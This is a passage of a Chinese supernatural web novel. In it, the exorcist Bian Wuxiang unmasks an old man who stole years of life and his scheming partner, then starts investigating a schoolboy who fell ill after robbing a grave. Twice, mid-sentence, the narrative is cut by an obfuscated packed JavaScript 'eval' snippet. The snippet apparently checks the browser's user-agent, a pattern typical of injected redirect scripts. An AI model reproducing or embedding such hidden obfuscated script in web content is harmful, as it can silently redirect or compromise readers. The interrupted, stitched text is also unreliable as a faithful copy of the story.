“走了,快点!这里阴森森的,你就不觉得冷?” “冷能怎么办?快走吧,我媳妇应该炖好汤了,咱回去吃点,打会儿牌也就过去了。” □□也转身要走,冲着那老女士喊道:“走了!妹子!” 边无相笑了笑,妹子还真是个不错的称呼,想来应该是那老爷子的配偶,怎么还叫上妹子了。 于是三步并作两步,将那老女士扶了起来:“走吧,慢点,这里路滑。” 那老女士起来了,用自己油润的手背抹了抹眼角:“你们先走吧,我们家老头子……你让我怎么放心得下?” “您明天再来看他,今天太晚了,晚些时候还有雨,要是遭了雨,你家老头子也放心不下呀。” 边无相说得好声好气,手上的动作却有些强硬的意思,只是外人应该看不出些什么,就算是这个老婆子,也只是觉着到底是年轻人血气旺盛,扶人都没个轻重。 人们都上了坡,不出片刻就坐车回了屋子里,□□家是个小院子,老太爷那个屋已经锁上了,女人和小孩在院子里面忙活着支桌子、端饭。 边无相倒是一点都不扭捏,随便找了个位子就坐了下来,□□还有那个老太太与他在同一桌,大家一个个似乎还挺高兴的,尤其要数一些薄情些的男人,上坡时候就商量着打牌,这会儿饭也不顾着吃,拿起牌来就在那对对子。 尖儿那几个毕竟是来做事的,还不是请来做事的,只能凭运气,抢了个边无相附近的桌子,一屁股就坐在那漆了绿漆的凳子上,发出嘎吱的铁锈声,可却也好像一下子安定下来一般,整个人的背转眼就驼了。 那个老婆子倒是一点也不,背部直挺挺着,脸上还挂着泪痕,一副茶饭不思的样子。 “妹子,您就吃点吧……” 边无相看了一眼身边的□□,又看了看那个被称为妹子的老婆子,尖儿他们估计也是吃了顿饱的,举着饭碗在那里嚷。 “您吃,大师。” □□将饭桌上的虾推得离边无相更近了些,边无相剥了虾壳与虾头,将肉丢进了自己的嘴里:“怎么管人家叫妹子呢?” □□笑了笑:“老太爷让我们这样叫的,说是听了心里高兴,妹子也让我们这么叫,说这么叫了好骗黑白无常,觉着自己年轻就不收了。” 边无相睁眼说瞎话:“这哪是称呼,人长得就年轻,我刚刚都险些以为是哪个小辈,还寻思怎么能在主桌。” □□心里不满,边无相也未见是个长辈,况且都不是一家子人,要不是来请他办事,还轮不着他坐这个位置。 “当然,我也不能坐主桌,还是讨了李先生您一份孝心,不然这还真轮不上我。” 边无相仿佛一下子知道了□□的心思——不过这世上能瞒住他的东西,确实不多。 自然就说了上面那番话,顺道还将自己眼前这盘虾向前面拱了拱,尤其是斜前方,□□一伸筷子就能夹走。 “怎么会?怎么会?有孝心是好事,这是天经地义呀,您能人本领大,该吃。” □□的脸涨得通红,只能哑了气,闷头吃着碗里的冷饭。 转眼时间又是后半夜,边无相照样在李家呆着不走,不过也没人顾及他,打牌的打牌,睡觉的睡觉,谁乐意管他? 只有□□蹑手蹑脚走到了边无相的身旁去:“大师,今天晚上是在我们家吗?” 妹子的声音从两人身后传来:“在我们家住,给我们抵一百块的酬金,行不行?” 边无相没有回头:“一百块钱,恐怕不行,不过……六十好说。” 那老婆子浑身打了个激灵一般,眼睛四处乱瞟一下,总觉得对方好像知道了什么,可也没来得及往细处想去,努力扯着嘴角道:“六十也是钱,到时候可少收我们些。” □□的眼睛转了两下,还没等他算明白便宜后是多少钱,天上就下起了雨,人们一边叫嚣着晦气,一边一窝蜂冲进了屋子。 “才输了钱,这会儿又下雨,真他妈的背。” “水来是财……啊!!” 边无相顺着尖叫的人远远看去,屋檐下的人们开始躁动不安。 “吱呀……” 黑色的木头门闩被缓缓打开了,雨水哗啦啦地往地上冲,不一会儿就雨点打着雨点,在地上打起了肥皂泡一样的白花, 门闩开了,黑色的木头门也开了,一时间,众人急抱在一起,作为大孝子的□□更是面容上一阵失色,整个人险些原地跪下去,一阵腿软还是“扑通”一声倒在了地上。 边无相看着妹子的拳头紧了紧,冷笑一阵,赶忙弯腰扶住了□□的胳膊,将他整个人的全部力气往自己这边倒过来,于是□□这个人就好像歪了一般,一边是借力撑着,另一边还软趴着。 那个妹子反应极快,握紧的拳头不出片刻便松开来,哀嚎着冲进了雨里:“老头…老头子!” 刚刚冲进雨里那一下,众人都没有来得及多看,可那张只有无数皱纹,没有半点眼泪的脸却被边无相看了个一清二楚。 照这么说,这场雨也可真及时,那些雨点全都扑在这位被称为“妹子”的老女士脸上,整张脸都水津津的。 那双耷拉着眼皮的三角眼越发可怜,全身的皮肤都是那样老旧,无数的老人斑还尽附在皮肤之上,可她的行动,实在太敏捷了。 众人当然不会注意到这个,他们还没有从死去的老太爷出现在门内这件事情上回过神来,直到老婆子和死鬼抱在一起,才又堪堪反应过来—— “妹子!你怎么去那里!” “你回来!你……你……!” “老太爷回魂了!” 大伙儿一下子都乱成了一锅粥,也不管三七二十一了,全都要往房里边冲,房里的那些人只听着外面吵吵嚷嚷,还没有反应过来发生了什么,就见一个个男人们将门狠狠一开,腿也软了,门也掉了,嗓子里边夹着哭腔:“老太爷……老太爷回来了!” 几个女人还在辅导着小孩的作业:“回来就回来了……回来了?” “谁回来了?” “老太爷回来了!” 边无相站在一边把那群人没出息的样子都看了个尽,现在门也关不上了,不知道到底是哪个蛮力大的汉子,可能是吓破了胆,将门狠狠一拽,就把整个门都拽下来了,屋外乱成一锅粥,屋内有些人还没反应过来,还有一些年纪小的小孩直往角落里面缩着,叫着有点冷。 □□顺了边无相的意思,把那些人全都塞进了房子的里间,那个里间虽然是老太爷生前常住的,但至少还有个门,比外边暖和多了。 众人也没有起初的害怕了,一个个往里边挤,像是要涌进去,小孩们最先进去,男男女女也蜂拥进去,也顾不得谁踩了谁发痛,谁挤着谁太重,“轰”的一声,门就关上了。 边无相没有冒雨上前去,□□也不敢冒雨上前去,于是只能站在边无相一边,眼巴巴的等着他能说出那句:“你也到里间去吧。” 纵然那是他亲老太爷,他也是心里害怕的,而且他家有些事情还没有说,倘若这不安生,真的是因为那件事情而起,那他真是苦透。 雨里的那两个人终于分开了——不,应该说那一人一鬼终于分开了,边无相就看着妹子紧紧抱着老太爷,尽管老太爷的身子是空的,在空中半虚浮飘着。 老婆子的手紧抓着老太爷的手,又一同站到了没了门的房间前面,站到了边无相的前面。 “半仙啊,这是您给我招过来的?” 老婆子一边说着一边就要跪下,眼里嘴角都是眼泪口水,当然,也或许是雨水,毕竟这雨下的这么大,有谁能够分得清楚呢? 边无相勾的勾唇角,真是好一招嫁祸于人。 “我从不招鬼,可能是老太爷心不安吧,毕竟眼泪掉到坟上,他怎么能走?” □□一下怔住了,想着自己哭的时候退开那么远,眼泪怎么可能掉到坟上?又把里间的人都想了一圈,才终于想起了面前的这个人,那这个人不就是妹子吗? 可是妹子能有什么坏心思呢?如果她对那件事情耿耿于怀,又怎么会坚守这么多年呢?所以终究只是用情至深,情用错了人,这是老太爷对不起她,上来道歉来了。 “半仙,知道老太爷为什么上来了!” 边无相瞥了一眼□□,那老婆子的嘴角几乎要溢出笑来,这老婆子还真是心机至深,旁人怎么会轻易想到? □□开口了:“早在七八年前,老太爷和妹子大吵一架,好像是因为老太爷的兄弟,我们叫他四爷,他兄弟给老太爷介绍了个女人,说妹子反正活不长了,不如趁早去找个新老婆,熟悉熟悉感情,以后也好结婚。” “怎么说妹子活不长了?” 边无相顺着□□的话说,目光却紧盯着面前的老婆子,果不然,那老婆子先哭着开口了:“早在七八年前,我身上查出了癌症,眼看着就要死了,你是不知道,那时候我天天都要打针输液,那么多根管子插在我身上,痛啊……” 老婆子一边说着,一边抹脸上的泪,浑身上下的衣物都湿透了,老太爷的魂就在那里站着,双目空洞洞的,没有半点声响。 实在是身子太虚了,倘若有血有肉,实体一些,恐怕还要以为是哪家做的蜡人。 “你说说,就在这样的时候,那个兄弟可真是个杂种!要给他哥介绍女人,介绍女人就算了……倘若是个勤俭持家,能做事的,我自然也不会拦着,那女人根本就不是个会过日子的!天天往脸上抹粉擦面,也不见做饭……” 老太爷的眼睛依旧空洞着,老婆子整个人的身子蜷缩了下去:“那就不是个会过日子的!之前……” 老婆子还没说完话,□□突然将话茬抢了过来,黝黑的那张脸上,两只眼睛里的眼珠子四处飘忽,脸上扯着干笑:“是是是,那个女人确实不是个会过日子的,把妹子的心伤到了,妹子也是希望老太爷过好点,自己能安心一些。” “真的是这样吗?” 边无相似是无意地问了句话,老婆子的身子骨一颤:“那还能有假?我死也死得安心些,就算哪怕没死成,把这位置让给她又如何?大不了我们两个共同……” 老太爷的魂依旧空洞洞的。 边无相往前走了一步:“老太爷,你想说共同什么?” 老婆子的身体颤得更厉害了:“没有!” 老太爷的魂依然是空洞洞的,像是对这世间一切无从留恋,也无所留恋,只是这魂的状态着实不像是老太爷的魂,反而像是一个常年屈从于丈夫威风之下女人的魂。 □□终于盼来了那句“回里间去吧”,整个人一溜烟似的,一点都管顾不上这边的情形,往里边跑去了,也不知道到底有没有听见边无相的那句“不管外边发生了什么,都别出来”。 现在外面依旧下着雨,也只剩下他们三人,边无相让老婆子直起身来,冲着那人的心窝子就是一脚。 老婆子整个人向后仰倒,口中哀嚎一声,嚷道:“怎么!怎么了!莫非你们男人都是一个样?我侍奉了他一辈子,维持一下自己仅有的面子,尊严怎么了!” 边无相蹲下身去,捏起了老婆子的脸:“原来你也知道她侍奉了你一辈子?还真把自己当皇帝了,把照顾说成侍奉,怎么?你家是有皇位要传?” “不对,恐怕即便有皇位要传,也是传不下去的,那么多小孩,你们家为什么偏偏这几年连折三个?” 老婆子捂着心窝子:“我也心痛啊,你怎么就把我认成老头子了呢?这么多小孩,都是我们家的种……” “都是你拿去续命的吧?多出来的60年寿命,你用得安生?” 老婆子两手撑着地,整个人一个劲向后扑腾,半晌后,终于站了起来,往老头子魂魄那边的方向一顶:“老头子,看看你儿子请得什么半仙……” “我是什么半仙?” 一边无相一边反问着,一边反手就要抓那老头子的魂魄,可终究还是慢了一步,从院子最西边的屋子里窜出来一个女人,女人整个往前扑了一下,老头子的魂一下子就砸进了老太婆样貌的身体里。 女人看着约莫有六七十岁,可行动也是异常敏捷矫健,这下子那老太婆不再发出女人的声音,反而是个枯木般的男人声:“怎么,这是我应得的!” 那女人紧贴着老婆子,老婆子的样貌逐渐被雨水冲刷下去,变成了个男人,接着,男人的耳朵口鼻处冒出一缕缕的白烟来,那些白烟一点一点挤出来,慢慢汇到一起,才成了刚刚那个老婆子的样子。 原来这从来都是个障眼法,这个法子已经用了不知道多久,老婆子的魂魄格外虚无,雨水一打,就好像能将她的魂散架掉似的,面容上留着两行永远洗不尽的泪痕,即便风大雨大,也触目惊心。 那个女人紧贴着老太爷,一副趾高气昂:“你不如去问问,我到底是谁?你去问问四爷?” “我可是他妹子,我才是他老婆!至于那个,不过是个伺候人的罢了!” 老太爷含情脉脉看着女人:“这一切都是你的,你是为了我和我在一起的,我也是为了你和你在一起的……咱们都辛苦了大半生,都说苦尽甘来,如今光明正大,咱们恩爱两不疑……也是值了!” 女人笑着勾起了老太爷的下巴,边无相强忍着胃里一阵一阵的恶心,先将老婆子的魂给固住了。 那老婆子的魂终于有了些气力,可是却一眼都没看那两人,而是进了那间房子里,她溜进里间去。 她溜进里间去,那么多活人,偏偏没有一个看得见她,那么多活人害怕的害怕,颤抖的颤抖,她慢慢悠悠飘到了□□的面前,用自己的手捧住他的手,眼泪又流了下来: “往后,好好对家里的妻儿老小,别总想着占小便宜,不要和你太爷一个德行……你爸死得早,你也别让他担忧了,免得死不安生。” 老婆子的魂掠过一个又一个的人,冲着小孩比划:“我们小可乐已经长这么高了,你看,到我的腿这里啦,以后可要长成大姑娘了……” 又冲着另一个小孩比划:“别和你爸妈置气,你现在才刚成大姑娘,这两年身体不好就好好吃药,成绩都是其次的,先调理好自己……” 最后,她拂过每一个女人的肩背,她或许一直都是一个合格的妻子,不,其实那并不算得上是妻子,她一直都是一个善于伺候别人的姑娘,从十几岁刚嫁过来的小姑娘,到后来成了老姑娘,她一直都在伺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女人却在此刻将老头子拽倒在了一边,眼底的贪婪呼之欲出,边无相心下大惊,将剑向另一边偏过去。 坏了,被人当枪使了! 女人拽了老头子,老头子却不知道走了哪个狗屎运,偏偏还是躲过了那一剑,对上老头子略微发怒的眼睛,愠色从发红的眼白处喷薄涌露,女人服了软:“我只是,想拉着你躲开……” “躲开?” 老头子被气得发笑,可对上女人的眼睛,仿佛还是心软了,女人顺势,红唇白齿:“我们,恩爱两不疑。” 边无相看着眼前这两人,一时竟没找到究竟要从哪里下手?这个女人恐怕和他是一样的,只是并非正统,那是从哪些地方得了些邪门外道的法子,可既然有长生之法,她为什么不用在自己身上? 正在思索之间,忽然灵光乍现,他好像明白什么了。 边无相从自己的腰间取出针来,女人见并没有慌慌张,边无相有些捉摸不透她,究竟是她知道解法,还是她不知道解法?自己的这个法子又可当真是解法? 不过也顾不上怀疑那么多,一针飞起,从他指尖忽然而出,不过眨眼弹指片刻,那针就牢牢钉在了老头子的人中之上。 老头子没有预料到,只觉得浑身刺痛不已,抬手想要拔掉那针,却觉得手指发麻,身旁的女人像是无可依偎,紧紧地依偎在老头身上,却没有帮老头子拔针的迹象。 边无相心里一阵如战鼓轰动,他必须要动作快一些,倘若动作不快一点,很可能会被这个女人占了先机,到时候反而渔翁得利。 少商鬼信,隐白鬼垒。 百邪所病者,针有十三穴也,凡针之体,先从鬼宫起,次针鬼信,便至鬼垒,又至鬼心,未必须并针,止五六穴即可知矣。 边无相很久没有用这样的针法了,鬼门十三针顾名思义,为的就是去除邪病,这种针法少有人传,少有人做。 太渊鬼心,申脉鬼路。 老头子啊啊大叫起来,可整个人却一动都不能动,那个叫声从起初还是老头子的声音,逐渐的又尖又细,慢慢又成了小孩的啼哭,别人看不见,但偏偏边无相看得一清二楚—— 三个小孩紧紧扼住了那老头的脖颈,憎恶、无措,千千万万种复杂的情绪,从眼底荡开来,直射在老头子的身上,女人也依旧依偎在老头子的身上,边无相试探着一点点向女人走进,却看见女人双目紧闭,像是没了声息。 “不……不要再往近走了……” 边无相生怕碰到什么耍诈 ,又绕到了老头子的身后,一针直达风府,后扎鬼枕,前扎鬼床,那些小孩的魂魄也逐渐不安分起来,纷纷叫着闹着吵着,边无相感觉自己的手心中似乎涌起了一阵阵,薄薄一层的热汗来。 指尖一阵发痛,还是在刚刚不自觉间行到了老头子的正面,又一针朝面庞上扎了下去,这一针刚下去,突然,一阵不好的预感从他身后冒了起来,侧身往后一看,只见那女人的魂魄不知何时脱离了她的□□,冲着边无相发笑。 “哈哈哈……” 烟无相迅速躲闪,将身上的符纸贴在了女人的魂魄上,女人也迅速躲闪,却还是被烧掉了一块烂肉。 十三针几乎快要结束了,倘若再扎下去,且先不谈扎下去要耗费多少心力,只怕魂魄扎干净,把老头子身上那些鬼气都去了,他还没缓过来身上力气,那魂魄就先让女人给抢了。 于是两人就这么僵持着,女人在等着边无相继续扎,边无相在等着女人回到她自己的身体里去。 远处响起一阵阵的犬吠声,那老婆子恐怕已经上路了,此刻大概在过恶狗岭,尖儿拿着打狗棍冲进了院子里,边跑边嚷着:“半仙!半仙!我给你拿来了!” 说话间,还因为地上泥泞摔了一跤,打狗棍就这么咕噜噜滚到了边无相的脚边,边无相捡起了打狗棍,没有再管顾剩下的几针,冲着女人打了那么几下。 恶狗岭此刻就在他们脚下了。 那些恶狗全都冲着直有魂魄的老婆子与这个女人叫唤,边无相远远冲着那老婆子喊道:“接着!” 那老婆子行动缓慢,接不住那打狗棍,但好在运气不错,也许是因为一身轻,努力加快了几下步子,打狗棍就那么被她紧紧抱在了怀里。 恶犬全都怕那打狗棍,边无相又是活人,他们不敢做什么,无数獠牙就全都对向了女人。 边无相没有再管顾女人,女人被犬分食的哀嚎声一下更比一下凄惨,这是她的劫数,这是她的因果,倘若当初不招惹,又何来如今的局面? 边无相出了恶狗岭,为老头子将剩下的几根针施完,老头又一阵哀嚎痛哭,叫痛的声音分钟不止,接连不断,吵得隔壁几家都将灯打开了,四处发亮,可也没有谁敢进这屋院子,毕竟这家才刚死了人。 直到十三针毕,那老头子便死了过去,多出来的这六十余年寿命已然是他偷的,尽管如今才过了四五年之久,可也早该尸骨发凉。 老头子和女人生前立下誓言,说要把女人埋进自己家的坟里,这并不是边无相能干扰的,只能一切结束后将他俩合葬的事情告知□□,他尽力而为,已是极好。 其实,他起初也在疑惑,这女人放着长生的法子不自己用,为什么偏偏要给一个旁人,如今算是一切明了。 女人想着让男人得了长生的法子,然后再借着今天这个机会把男人的魂供自己所用,这样她可白得六十年的寿命,在那之后,等到两人灵魂相合,再去吃他人延寿,将他人的寿命强加在自己身上,孽事因果也只会让那老头子背负。 她自己讨得无事一身轻。 即便没有成,真的等到寿命饱和的那一天,也不用担心自己无处可葬,真是生前身后全都打理的井井有条,着实不忍细想,令人毛骨悚然。 边无相将一切安顿好后又提醒别忘了交那天的钱,说罢拿了自己的酬金便转身要走,□□却突然跪下,这一跪没有什么别的想法——一个响头,一双膝盖,也足够说明一切了。 8. 挖坟换钱惹祸端(一) □□为了一报边无相的恩,便给他找了间房子,好安顿下来,虽然家中没有几个钱,但偏僻处的房屋钱还是有的。 边无相也不挑剔,就这样在王村住下了,王村偏僻,地广人稀,但学校商铺是一间不少的,只不过那不叫超市,名字照样叫供销社,紧邻供销社的就是一间理发店。 边无相的屋子就在这附近,占了个分岔口处,对面就是供销社,沿着供销社一直往过走,从第一个巷子转进去,就是王村的学校,学校门口立着一块大大的不锈钢牌子——第十一中。 又是一连几日的风平浪静,边无相天气好就支着桌椅到门口摆个摊子,上面写着算命抓鬼,天气差就在屋里呆着,平日一不出门,二不打扮,那些钱也够他花销的。 又是一日风雨天,天上的云格外的近,天色沉沉的,明明才是一大早,漫天都是沉甸甸的蓝,那些云也格外厚重,像是囊了一大场倾盆的雨。 边无相早早将门给闭上了,缩在屋子里边晾衣服,虽然没有什么阳光,但好在有吹风机,一阵呜呜声里,他的袍子逐渐发干,摸着布料上有浓浓的一阵暖意,边无相弯腰将东西都收好,把吹干的袍子往身上一披,整个人暖烘烘的,却也还是开口又道:“吹风机吹的还是比不上太阳晒的……” 正准备收拾收拾去吃点垫肚子的,谁知那敲门声竟“咚咚”响起,还有一阵阵的哭声,边无相皱了皱眉,一边掐着手指,一边走上前去,心中大约有了个底。 “半仙啊!您看看我家孩子吧……” 边无相开了门,女人拉扯着孩子在他面前跪了下去,女人将腰弯得极低,脸庞扬着望着边无相,眼泪哗哗往下落,小孩像失了魂一般,他妈妈一拽,他就给拽到了地上,膝盖直挺挺跪立在坚硬的石灰地上,也没有半点说疼抖擞的反应。 女人一边哭,一边整个人匍匐下去,两胳膊向前伸直,一下一下用头磕着地:“大师,您就救救我们家孩子吧……” “快起来,进来慢慢说。” 边无相将地上的小孩扶了起来,那个女人则撑着小孩的身体也站了起来,小孩年纪看着不大,但个头不小,边无相将两人带到自己房里去:“屋舍有点寒酸,不要嫌弃。” 女人这才擦了擦泪,接过边无相递来的纸巾,擤了擤鼻涕,透明的鼻涕液粘粘在白纸上,再堪堪止住了差点流进女人嘴里的迹象,女人猛吸一口气,尽量让自己的样子看上去理智些,不要那么颓丧,两个眼圈红红的,眼皮子都鼓肿起来,连眼白也都泛着薄薄的红,开口道:“半仙,我们家孩子在学校里不知道惹到了些什么,早早就不对劲了,今天学校给我打电话,说娃娃晕过去了……” 女人说到这里又哭了,边无相将纸巾盒推到女人身边,又将桌子角落处的两卷卫生纸都挪到女人身边,拢了拢自己的衣袖,才又重新做成了倾听状:“送医院了吗?” “送了,医生说是学习压力大,平时娃娃又缺觉,身体里缺乏一些什么微量元素……可你是不知道,娃娃在操场倒地不起,整个人颤个不停,跟抽风了似的……” “学校老校长突然打电话说让我们来你这看看,不行就找找什么神婆子,阴阳先生,这个村您又不是不知道,没多少人,前几年有一个突然会了本事的阴阳先生还死了……你还是给看看吧。” 边无相点了点头,走向了小孩,他没怎么哄过人,也不知道该怎么平和这位母亲的心绪,只知道把事情办妥了,就不会哭了。 他抓起小孩的一只胳膊,将小孩的外套脱了下去,外套的胸口处印着“十一中”几个字,袖口处还沾着些泥巴。 小孩的脸色灰扑扑的,整张脸皮肤都蜡黄蜡黄的,眼下的青格外的明显,简直青到发黑,双唇厚而发白,强硬掐着眼前人的脸颊,才终于能看见舌头,舌头又厚又腻,舌面上的白更是厚厚一层。 像是一只没了壳的大蜗牛,蜷缩在这小孩的口腔里,边无相把小孩的一只胳膊抬了起来,冲着他的腋下找准了位置,发狠掐了两下。 边掐边问道:“这小孩今年多大年纪了?” “今年十七,在十一中读高一。” 那个女人一边说话,一边将自己儿子的衣服牢牢收拢在自己的手里,叠得整整齐齐搭在自己的胳膊上,这个学校放假本就不多,她平时也疏忽照顾小孩,工作太忙了,哪里有什么时间呢? 对于小孩是一窍不通,倘若不是学校今天来这通电话,她还真不知道孩子的身体状况,已经成了这个样子。 边无相放下了小孩的胳膊,又抓起了小孩的右手,朝右手的无名指掐去,还没用力,只见这小孩突然像是触了电一般,整个人颤着叫着,浑身抖得和筛子似的。 边无相连忙一根针扎了下去,叮嘱道:“我现在去抓一抓他的魂,这小孩跟上东西了,在这期间有谁敲门都别管、别动,不要靠近这小孩。” “诶,好,好……” 女人一边应着,一边坐得更拘谨了,整个人的身子从头到脚都紧绷绷的,脊背挺得发直发僵,紧紧抓着自家小孩的衣服,眼神都不知道该往哪里放,可无论看什么,总是模糊的——眼泪又上来了。 “你家小孩叫什么?” “叫郑轩,郑是关字旁那个,轩是车干轩。” 郑轩妈妈抹了一把脸上的泪,生怕自己回慢了,赶紧接了话碴子,边无相将刚刚的话又叮嘱了一回,便也坐到了地上。 他的魂魄已脱离了身子,一下便蹿到了阴间去,阴间鬼怪无数,想要抓一个人的魂,那可不是一件容易事,可他心里跟明镜似的,他知道该去哪。 于是他就索性去了一处洞穴,这处洞穴整个发黑,几乎可以说伸手不见五指,黑得比墨还要浓,还没有往里边走,一阵又一阵的怪叫,就从两处响起,一声更比一声尖锐,一一传进了边无相的耳朵里。 他稍稍弯着身子进了那洞穴,两边都是漆黑的铁笼,实在是他的眼睛格外好,否则谁都认不出来究竟什么是什么,铁笼里关着无数白色的魂,还有无数没有被关着的那些白色鬼怪通通从深处涌出来,那动静就像是蝙蝠振自己的翅膀一般。 边无相不敢说话,也不敢出声,这地方本来就是禁地,没几个人知道这里的存在,倘若不是他的身份特殊,他也料不到有这种地方。 这个洞穴越往深处走就越低,涌出来的那些白色鬼怪也越来越多,尖锐的笑声,刺耳的尖叫声,都融杂在一起,一阵阵的强风自洞穴更深处吹出来,一阵阵呼呼作响。 边无相暗想大事不妙,果不然就被那强风吹出了洞外,也不知这小孩究竟犯了什么事,竟然被关到那样深处的地方。 边无相抓着阎王给自己的木牌,一路直奔向了命簿墙,两个阴差都高高瘦瘦的,一个手里拿着棍子,另一个手里抓着狼牙棒,交叉立在了边无相的面前:“想过去,要出示木牌!” 边无相顾不得自己脸上火急火燎,将手里的木牌拿到那两个官差面前,苍白有力的手指紧抓着木牌的边缘,道:“查一下郑轩这号人,在王村住着,是王村十一中的学生。” 那两个官差一见木牌,赶紧退到了两边去,几乎像是闪身一般快,一边退着一边双手作揖,口中振振有词道:“多有打扰,也是公事公办。” 边无相无暇与那两个官差计较,毕竟这也是他们的本职,用那状元毛笔蘸着经墨在墙上写出了那几个大字,之见墙面上慢慢展出了一列又一列的金色小字,一些金色小字很快就成了一个巨大的漩涡,一横一竖,一撇一捺,都彼此相交,慢慢慢慢缠在一起。 边无相整个人向前一倾,就进了那个漩涡里边,时间就这样退到了一周之前。 边无相看着眼前这个低小的宿舍,心中大约有了些猜测,反正大家一个个都看不见他,变索性就直接坐在了一进门的那个同学的床榻之上。 果不然,不出片刻,门外陆陆续续走进来六个小孩,一个个都灰头土脸:“过两天出去玩吗?” “出去玩什么?课都还没上完,离下个周日还远着呢。” 另一个瘦一些的小孩应声答道,接着就往自己的床上一躺,手掌心将自己的脸捂了个严严实实,猛擦了一把脸上的汗水:“怎么?你有计划?” 那个胖一些的小孩道:“我也没什么计划,要不问问老大?” 边无相顺着他们的话,一下子就瞅准了那个被叫老大的人,那不就是这次中邪的那个男生吗? 郑轩是吧。 郑轩甩了甩自己的头发,又粗又硬的头发上面还汗哒哒的,一甩头,空气里几乎都是汗臭味,他将校服的下摆往后一甩:“我倒是有个主意,我想去吃火锅……不如咱们今晚就逃课吃火锅去?” 这个宿舍又矮又小,可又偏偏一个宿舍容纳了六个人,其中有两个戴着眼镜的文弱小孩似乎不太乐意,一个没答话,另一个则一边翻书一边道:“你们去吧,我晚上还要背课文。” 剩下的四个小孩一下子就咬定了主意,时间一过,一晃就到了第一节自习,那两个小孩去上课去了,这四个却还在宿舍里面呆着。 除了郑轩之外,总是边无相不是脸盲的主,他也终究不知道那几个人叫什么名字,于是就索性称他们为一号床,六号床和五号床。 六号床问道:“老大,咱几个身上也没钱,怎么吃火锅?” 五号床接话道:“我这里有个十块钱,不过这也吃不了什么哈……” 一号床撑着下巴看着面前几个人,见大家都没什么好法子,又把目光投向了老大身上,将门后的马扎给老大搬了一个,那模样可真是要多殷勤有多殷勤:“老大,你肯定有法子,对吧?” 郑轩也真是个做老大的份,只见他哈哈一大笑,两只肉手拍得起劲,嚷嚷道:“我还真有这么个法子……你们凑过来点。” 四个小孩头凑着头,脑袋顶着脑袋,围成了一个圈,边无相也过去凑热闹,不过他身高太高了,只能弯点腰,然后再侧点耳朵了。 老大发话了:“我倒是知道咱们学校后边有个坟,说到底就是乱葬岗,也不知道到底埋了多少人,随便一挖都能挖出个东西来……不如咱们就挖点,到时候看看能不能到槐花街的古玩商那里换点钱。” 几个人还真是一点敬畏心都没有,当即就同意了,于是这四个学生拎着扫帚,拿着铁锹,举着簸箕就屁颠屁颠跑楼下去了。 要不然说人家是老大呢,郑轩下了楼,又好像突然想起来什么似的,安顿好了自己的三个兄弟,又独自折返了回去,避开了宿管的眼睛,蹑手蹑脚跑进了宿舍里,从自己的被褥下面掏出了一支相对粗一些的红色大蜡烛。 塞进袖子里边就往下跑去了,那三个人被他安顿在了宿舍楼下面的草丛里,他一下楼就吹了个流氓哨,三个人从草丛里探出头来:“老大,你拿什么去了?” “还能拿什么?当然是拿蜡烛,一点挖坟的经验都没有……” “老大,咱真的要盗墓吗?” “那不然呢?你也可以不去啊,反正你不去,你就别吃火锅,出力了才能吃!” 那个五号床紧皱着眉头,思考了不一会儿,下定决心掷地有声道:“去!当然去!到时候我给老大把酒满上,咱要吃就吃爆辣的锅!” “屁股还想不想要了,就你这小身板,还吃爆辣的锅?别得了痔疮吧……” 一行人就这样开着玩笑,一路往前,绕过了厕所,绕到了学校的后面。 此刻,正是晚自习的时候,楼上边一个个窗户灯都开着,学生们都捧着书,该读读该写写,有的老师站在讲台上说个不停,有的隐约能看见还在讲台上翘着二郎腿坐着,是不时扶一把眼镜,大概是在监督作业。 这楼下边可是冷清,不仅冷清,连个灯都没有,要不然说人家是做老大的,只见他从兜里揣出了四个小灯球来:“你们悠着点,这灯不太亮,不容易被老师发现,你们可别大声说话……要是有谁把咱们卖了,小心着点!” 另外三个人纷纷抿上了嘴巴,做着一副往嘴上拉了个拉链的动作,接着就是三人齐齐摇头,做老大的这才放下心来,找了个离教学楼远一些的地方,招呼着剩下三个人都赶紧过去,三个人一想到火锅就急得跳脚,恨不得马上有钱飞到自己裤子口袋里,便齐刷刷跑了过去,拿扫帚的扫,拿铁锹的铲,在那里生生挖了个坑。 边无相在一旁都目瞪口呆,几个小孩还真是说挖就挖,那块地方本来就不实,这么一挖,很快就出了个洞,一节课刚过不久,一个深洞就给挖出来了,可这几个孩子也偏偏不急不慌,大概是一口咬定了学生们不会下课,这片地方也没什么人会来。 “绳子带了吗?” “没有,不过这洞也不是很深,咱们可以拉着手上下。” “行。” 那个洞又往下挖了些,隐约挖到了比较硬的东西,一号床压着声音欣喜道:“老大!见货了!” “什么货?你说话声小点,把楼上那些人引下来,还上不上学了?” “好、好!我也不知道这什么货,要不我往上面拿点?” 郑轩也压着声音:“你差不多点,随便拿点就上来,别在下面太久了。” 一号床弯着腰在地里边刨了两下,指甲缝里也都沾上泥,才抠出了几个硬币来,不死心一样,又挖了一阵,越往下那土地就越湿润,那种潮湿的发霉气也越来越重。 “大货!老大!” 一号床说着,就从泥里边拔出了一个小碗来,那只碗上面还粘着土块,天色太晚,灯光也太暗,他们几个人也看不清这碗到底是什么颜色,隐约觉得像青色,又隐约觉得像蓝色。 边无相一听发出了大件货,也上前去凑热闹,一看是个碗,一副扫了兴一般,蹲在了旁边的地上,细细想着,就凭这些,那也不应该会沾上什么东西啊? 五号床和六号床负责挖坑,两人似乎都被累到了,就在地上趴着,把刚刚的一号床从坑里捞了起来,更是累不可言,躺在地上喘着气,做老大的瞥了他们一眼,嘟囔了一句“没出息”,拿着蜡烛和打火机就翻身下了坑。 他个子比较高一些,到坑里边也不觉得难下,索性就把铁锹也带了下去,把那坑又挖了挖,这一挖可不得了,只觉得那铁锹像是被什么东西拦了一般,这不会是一件更大的东西吧? 如果是的话,那岂不发财了? 郑轩心里就这么想着,越挖越快,越挖越快,直到被那大物件拦着,不能再挖,他才终于作罢,不挖还不打紧,这一挖,他整个人几乎都要看呆了—— 土里边有一具骨头。 一下子无数虫蚁就仿佛顺着他的腿脚攀了上去,在他的头脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一号床却忽然在过马路时开口了:“老大,你刚刚拿‘那个’的时候……,我感觉不对劲。” 